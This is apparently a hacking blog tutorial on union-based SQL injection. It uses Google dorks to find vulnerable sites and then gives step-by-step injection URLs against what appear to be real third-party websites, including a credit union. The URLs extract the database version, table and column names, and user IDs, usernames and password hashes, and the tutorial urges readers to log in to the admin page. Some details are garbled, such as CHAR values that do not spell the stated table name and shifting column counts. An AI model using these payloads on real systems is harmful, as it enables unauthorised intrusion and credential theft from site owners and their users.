Basic Union Based Injection | hackerworld99 | Sqli | SQL Injection

Basic Union Based Injection

First off we need a vulnerable website. Google is the best partner for finding vulnerable sites. we use Google Dork for searching vulnerable websites. Google Dork is the trick to

find the perfect match. But we are going to use “inurl:” command for finding the

vulnerable websites.

[Example of Google Dork :]

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:pageid=sa

inurl:games.php?id=

inurl:page.php?file=

[How to use]

Copy one of the above command and paste it into the Google search engine box. Hit enter. You can get a list of websites. We have to visit the websites one by one for

checking the vulnerability.

Vulnerable Sites (With Syntax)

So after you got a vulnerable site, to test if you can inject, add a ' to the end of the

URL.

I'll be using this site

Code:

http://www.easystickersbanners.co.uk/banners.php?categoryid=15

As you can see, it loads perfectly fine, with no error. Now to see if it's vulnerable, add a ' (Single Quotes) to the end, so it should look like this.

Code:

http://www.easystickersbanners.co.uk/banners.php?categoryid=15’

Now you should get an error that looks like this.

Now that you found a vulnerable site, you need to find the number of columns. You can do this by using the "Order By" function. We'll start by guessing at

1,2,3,4,5,6.

So take your URL, and remove the ' from the end of it,

Your link should now look like this:

Code:

http://www.easystickersbanners.co.uk/banners.php?categoryid=15+order+by+1--

(no-error)

http://www.easystickersbanners.co.uk/banners.php?categoryid=15+order+by+2--

(no-error)

http://www.easystickersbanners.co.uk/banners.php?categoryid=15+order+by+3--

(no-error)

http://www.easystickersbanners.co.uk/banners.php?categoryid=15+order+by+4--

(no-error)

http://www.easystickersbanners.co.uk/banners.php?categoryid=15+order+by+5--

(no-error)

http://www.easystickersbanners.co.uk/banners.php?categoryid=15+order+by+6--

(error)

As you can see, it loads perfectly fine, so you're going to want to increase it until you get an error that says "Unknown column '(Column Count Here)' in 'order clause'".

It looks like this:

So my link looks like this now and loads perfectly fine.

Code:

http://www.easystickersbanners.co.uk/banners.php?categoryid=15+order+by+5--

Finding Vulnerable Columns

So now that you got the number of columns, you're going to want to see which ones you can get data from. You do this by using the "Union+Select" or "Union+All+Select" Function. First, you add a - in front of your ID Number.

It should look like this:

Code:

http://www.easystickersbanners.co.uk/banners.php?categoryid=-15

Or, instead, you can change the number to null, since that's what the - is doing.

Code:

http://www.easystickersbanners.co.uk/banners.php?categoryid=null

Then you want to use the Union Select function, so you add

+union+select+(Column Count Here)--

So for each column, you add it.

My link now looks like this:

Code:

www.easystickersbanners.co.uk/banners.php?categoryid=-

15+union+select+1,2,3,4,5--

Now the site looks like this, so we know that 1 are vulnerable columns.

Getting MySQL Version

First off, we want it to be 5 or more. If it was less than 5, you would use error-based injection (I won't cover that).

So pick one of your vulnerable columns, and replace it with either:

Code: @@version or version()

I'm going to use column 1, so now my link looks like this..

Code:

http://www.easystickersbanners.co.uk/banners.php?categoryid=null+union+Select+@@Version,2,3,4,5--

OR

http://www.easystickersbanners.co.uk/banners.php?categoryid=null+union+Select+version(),2,3,4,5--

Getting Table Names

Now that we got our version, we want to get our tables from the database.

Do this by using a few functions.

Code:group_concat(table_name)

Code:from+information_schema.tables

Code:+where+table_schema=database()—

So pick a vulnerable column, and replace it with group_concat(table_name).

Then you want to add +from+information_schema.tables after your column count, and where+table_schema=database()--

Your link should look something like this.

Code:

http://www.easystickersbanners.co.uk/banners.php?categoryid=null+union+Select+group_concat(table_name,0x0a),2,3,4,5+from+information_schema.tables+where+table_schema=database()--

Getting Columns Out Of Tables

To do this, we use a few more functions similar to finding tables.

Code:group_concat(column_name)

Code:information_schema.columns

Code:where+table_name="TABLE NAME HERE"

So now my link looks like this...

Code:

http://www.easystickersbanners.co.uk/banners.php?categoryid=null+union+Select+group_concat(column_name,0x0a),2,3,4,5+from+information_schema.columns+where+table_name="users"--

Unfortunately, we get an error. To bypass this, convert your table name into ASCII value.

The ASCII value of users looks something like this:

To get the ASCII value, you can use this site HERE

https://addons.mozilla.org/en-US/firefox/addon/hackbar

Code:CHAR(97, 100, 109, 105, 110, 95, 117, 115, 101, 114, 95, 105, 110, 102, 111)

So now my link looks like this:

Code:

http://www.easystickersbanners.co.uk/banners.php?categoryid=null+union+select+group_concat(column_name,0x0a),2,3,4,5+from+information_schema.columns+where+table_name=CHAR(97, 100, 109, 105, 110, 95, 117, 115, 101, 114, 95, 105, 110, 102,111)--

And the site looks like this:

Getting Data From Columns

Ok, so I see ID, username, and password, and that's what I want.

Now, we just replace a few things.

Code:group_concat(ID,0x3a,username,0x3a,password,0x0a)

Code:from+Table Name Here

My link now looks like this:

Code:

http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+select+1,group_co

ncat(ID,0x3a,username,0x3a,password,0x0a),3,4,5,6,7,8,9,10,11,12,13+from+users--

User = !@#$%^&*()

Password = 9b4a8856b46b50973b320ef438568809

User and password are encrypted format, some website we got decrypted password

😍😍 just finding the admin page and log in 😍😍